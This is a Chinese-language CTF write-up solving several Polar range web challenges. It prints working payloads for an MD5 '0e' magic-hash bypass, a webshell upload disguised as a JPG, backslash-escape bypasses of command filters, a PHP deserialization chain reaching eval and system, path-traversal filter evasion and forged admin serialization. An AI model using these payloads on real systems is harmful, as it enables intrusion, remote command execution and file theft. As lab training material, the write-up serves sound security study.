Polar靶场-Web简单题目记录(33-40)
Polar靶场-审计题目
分析代码
1.输入检查:
- 输入不能是数组。
- 输入必须是一个数字(通过 is_numeric 检查)。
- 输入的 MD5 哈希值必须以 0e 开头,并且后面跟随数字。
2.解决思路我们需要找到一个数字,其 MD5 哈希值以 0e 开头。这通常涉及到 PHP 的数字字符串转换特性。
科学记数法绕过
下列的字符串的 MD5 值都是 0e 开头的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
因为题目需要传数字,所以payload为?xxs=240610708

Polar靶场-upload1题目

查看题目,提示上传图片到服务器,修改一句话木马后缀为jpg,上传修改后缀

连接后发现访问打开flag.php以及flag为空

使用命令进行读取 find / -name "flag*" ,找到flag.txt

读取获得flag

Polar靶场-rapyiquan题目
代码逻辑漏洞分析
-
主流程限制 : 仅当请求的URI( $_SERVER['REQUEST_URI'] )中不包含下划线( _ )时( checkUrlParams 返回true),才会进入命令执行逻辑。
-
命令过滤规则 : preg_match 正则表达式禁止了 ls|cat|flag|echo|sh 等常见命令,以及 ;|*|?|$|() 等特殊符号(具体见代码注释),直接使用这些关键词会触发 badly! 提示。
绕过思路
使用括折号“ [ ”代替代替 下划线( _ ),并使用转义字符\进行绕过正则过滤
payload:?c[md=l\s /

payload:?c[md=ca\t%20/f\lag.php查看网站源代码获取flag

Polar靶场-bllbl_ser1题目

通过网站源代码,此题目考查为反序列化,payload构造如下:
<?php
class bllnbnl {
public $er;
function close() {
eval($this->er);
}
}
class bllbl {
public $qiang;
function __destruct() {
$this->bllliang();
}
function bllliang() {
$this->qiang->close();
}
}
// 创建 bllnbnl 对象并设置 er 属性
$er_obj = new bllnbnl();
$er_obj->er = 'system("whoami");';
// 创建 bllbl 对象并设置 qiang 属性为上面创建的 bllnbnl 对象
$bllbl_obj = new bllbl();
$bllbl_obj->qiang = $er_obj;
// 序列化 bllbl 对象
$payload = serialize($bllbl_obj);
// 输出 payload
echo $payload;
?>
执行whoami,查看反序列化命令是否成功

执行ls查看文件路径

读取flag

Polar靶场-1ncIud3题目
文件包含题目,关键函数?page=

读取flag,发现存在过滤

查看提示,可能替换flag字样以及添加一些符号过滤
常见的替换有 f1a9 f1ag f149,flag基本在根目录下,用..././为一组进行跳目录
最终payload ?page=..././..././f1a9

Polar靶场-投喂题目

查看题目提示,这是一道PHP反序列化漏洞的CTF题目,核心是构造包含 is_admin=true 的 User 对象序列化字符串,通过 POST 请求传递 data 参数触发反序列化,从而让服务器认为你是管理员( is_admin=true )。以下是具体代码:
<?php
class User {
public $username;
public $is_admin;
function __construct($username, $is_admin) {
$this->username = $username;
$this->is_admin = $is_admin;
}
}
// 创建一个 User 对象,设置 is_admin 为 true
$user = new User("admin", true);
// 序列化 User 对象
$serialized_data = serialize($user);
// 输出序列化后的数据
echo $serialized_data;
?>
获取payload O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}

获取flag

Polar靶场-狗黑子的RCE题目

分析代码逻辑
1、 $gouheizi1 从 GET 参数获取, $gouheizi2 从 POST 参数获取,并对 $gouheizi2 移除了所有 "gouheizi" 字符串。
2、使用正则表达式对 $gouheizi1 进行了严格的过滤,禁止了许多常见的命令、特殊字符等,但是未过滤转义字符
3、如果 $gouheizi2 等于 "gouheizi",则执行 system($gouheizi1),否则输出 "gouheizi!"。

获取flag

Polar靶场-button题目
查看网站源代码,发现存在script.js文件

发现核心代码,/proxy.php?file=flag

访问/proxy.php?file=flag ,右击网站源代码获取flag


浙公网安备 33010602011771号